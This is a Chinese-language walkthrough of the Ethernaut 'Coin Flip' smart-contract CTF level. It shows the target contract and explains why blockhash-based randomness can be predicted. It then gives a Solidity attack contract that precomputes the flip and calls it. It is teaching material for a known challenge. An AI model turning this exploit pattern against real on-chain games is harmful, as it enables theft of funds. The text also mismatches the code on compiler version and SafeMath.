Coin Flip
题目
通关要求:这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。即:consecutiveWins设置为10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() { consecutiveWins = 0; }
function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) { revert(); }
lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false;
if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
|
分析
老样子先看编译器版本^0.6.0,那么就可能出现整数溢出漏洞。但是我们看到它引用了Safemath库,那么排除整数溢出这个可能了。
在区块链当中,随机数并不随机,它是伪随机数。在flip方法中,uint256 blockValue = uint256(blockhash(block.number - 1));
、uint256 coinFlip = blockValue / FACTOR;
、bool side = coinFlip == 1 ? true : false;
这三个是核心的猜数代码,其实我们也可以自己来写。这个题目所谓猜数,就是猜经过这三个代码之后出来的结果。然而我们也可以自己运行这个代码来猜数。
别人的分析:https://thomasxu-blockchain.github.io/2022-11-03-ethernaut01/#03-Coin-Flip
分析flip代码:block.number
用来获取当前交易的block编号,减1获取前一个block的编号,而blockhash(id)
获取对应id的block的hash值,然后uint256将其转换为16进制对应的数值。其中给的factor是2^(256)/2
,所以每次做完除法的结果有一半几率是0,一半是1。
本题的漏洞就出在通过block.blockhash(block.number - 1)
获取负一高度的区块哈希来生成随机数的方式是极易被攻击利用的。
原理是在区块链中,一个区块包含多个交易,我们可以先运行一下上述除法计算的过程获取结果究竟是0还是1,然后再发送对应的结果过去。区块链中块和块之前的间隔大概有10秒,手动去做会有问题,不能保证我们计算的合约是否和题目运算调用在同一个block上,因此需要写一个攻击合约完成调用。我们在攻击合约中调用题目中的合约,可以保证两个交易一定被打包在同一个区块上,因此它们获取的block.number.sub(1)是一样的。
其实就是利用了一个区块中可能有多个交易,而我们可以自己创建一个交易,执行与题目中一样的语句后得到的block.number.sub(1)
是一样的
攻击代码
说明:
attack_1和attack_2是我想在一个while循环里面完成10次猜数操作。但是代码逻辑有错误:因为是同一笔交易,blockValue = uint256(blockhash(block.number - 1))
的block.number
恒定不变。但是根据题目要求if (lastHash == blockValue) {revert();}
则不满足(要求一个区块内只能猜一次)。【solidity中有没有一种内置的方法,是等到下一个区块被挖出来之后,才往下执行?即block.number发生变化再往下执行。答案:单条类EVM链中,原理上无法实现】
因此我们只能通过attack_3来调用10次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Hack{ CoinFlip private immutable coinflip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _name){ coinflip = CoinFlip(_name); }
function attack_1() external { uint count = 0;
bool side; uint256 blockValue; uint256 coinFlip; while (count < 10) {//猜10次 blockValue = uint256(blockhash(block.number - 1)); coinFlip = blockValue / FACTOR; side = coinFlip == 1 ? true : false; require(coinflip.flip(side),"guess false"); count++; } }
function attack_2() external { uint8 count = 0; while (count < 10){ bool guess = guess(); require(coinflip.flip(guess),"guess false"); count++; } }
function attack_3() external{ bool guess = guess(); require(coinflip.flip(guess),"guess false"); }
function guess() private view returns(bool){ uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; return side; } function getConsecutiveWins() public view returns(uint256){ return coinflip.consecutiveWins(); } }
|
做题
获取题目实例:0x8F1CeDfDe277E9113f1e93C45742dE560B0277c9
通过
小插曲
执行attack_3的时候,会出现下图这个提示。但是仍然可以执行成功。
另外
foundry可以模拟区块状态,可以用他来模拟下一个区块挖出来,用一个循环来执行10次。
大佬介绍:https://thomasxu-blockchain.github.io/Foundry/
foundry主页:https://book.getfoundry.sh/cheatcodes/